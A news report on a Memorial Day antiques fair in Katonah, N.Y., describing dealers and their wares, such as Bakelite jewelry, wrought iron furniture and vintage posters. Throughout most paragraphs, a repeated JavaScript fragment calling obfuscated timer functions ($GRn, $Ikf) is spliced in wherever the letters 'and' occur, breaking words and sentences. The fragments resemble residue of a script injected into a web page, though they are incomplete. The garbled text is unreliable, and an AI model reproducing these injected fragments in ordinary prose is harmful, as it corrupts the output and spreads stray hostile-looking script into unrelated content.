By: David S. Smith

KATONAH, N.Y. — It was a bluebird day with nary a single cloud in the sky as show promoter Vivien Cord opened the gates for the 28th Memorial Day Antiques Fair at the Lasdon Park Arboretum andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Veterans Memorial. The crowd began assembling in line about an hour prior to the start of this fair, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a group of anxious buyers flocked onto the field in search of treasures. This popular event not only enjoys a good crowd at opening, attendance remains steady throughout the day with many of the dealers reporting prime sales late in the afternoon.

A larger than usual number of dealers were on the field, perhaps due to the extraordinary weather, as Cord allows drive-up dealers to participate, in addition to the usual exhibitors that reserve spaces. A good cross section of materials were offered, ranging from fine art to Twentieth Century utilitarian andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative items.

A large selection of Bakelite jewelry, both vintage andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary designer pieces constructed from repurposed pieces of broken Bakelite jewelry, was popular at Art From The Attic, Arlington, Mass. The dealer, Yrena Edwards, also offered a large assortment of Catherine Holm cookware, with many of the pieces in bright andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and highly sought-after colors such as red, orange andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and black.

Next door were Marie andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Larry Butchen, Wantagh, N.Y., with the usual assortment of unusual items of interest. A massive pipe wrench was offered, although this one was quite rare, according to the dealer, as it was made entirely of brass. A mechanical pencil sharpener was also attracting attention in the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and. Larry Butchen demonstrated the action of the piece by inserting a pencil andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and turning the crank handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andle — typical of any pencil sharpener, except this model utilized a meat-slicer-style blade andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and had a mechanism that automatically rotated the pencil during the sharpening process.

John Lima of Iron Renaissance, Damariscotta, Maine, was on handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with a stellar selection of decorative wrought iron outdoor furniture that included several sets of patio furniture, chaise lounges andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and benches. The dealer specializes in the furniture of John Salterini, who made garden furniture in Brooklyn, N.Y., until 1953. A signed wrought iron bench by New York maker John McLean was a quick seller from the booth, as were decorative items such as urns.

A large Biedermeier-style caned bench sold soon after opening at Blue Shutters Antiques, Montgomery, N.Y. The item that was attracting the most attention was a large composite snowman with “coal” eyes, a carrot for a nose andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a corn-cob pipe.

Art Finkel of Vintage Poster Art, Monroe Township, N.J., displayed a good assortment of posters that ranged in subject matter from Moulin Rouge dancing girls to Orangina beverages to railroad travel posters depicting Monument Valley to the stylized speedsters of LeMans.

Sage Antiques andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Unni Wyler, both of Yonkers, N.Y., were set up side-by-side andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and each offered a good assortment of country wares andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and interesting collectibles. A nice Ethan Allen running horse weathervane was at Sage; several pieces early motorcycle gear, included a leather cap andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and gloves, were displayed by Wyler. 

New to the scene was Americana dealer Gregory Smith, More Upstairs, Newtown, Conn., with a good assortment of cast iron doorstops, early signs, a sawbuck table andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a good Westport chair in pleasing old paint.

A large selection of Roseville pottery was offered at Splendor In The Glass, Harrison, N.Y. Pieces included the popular Pine Cone pattern, as well as rare forms from the Futura line.

The next event for Cord will be the Antiques in the Churchyard fair in Vista, N.Y., on July 4. For additional information, 914-273-4667 or www.cordshows.com.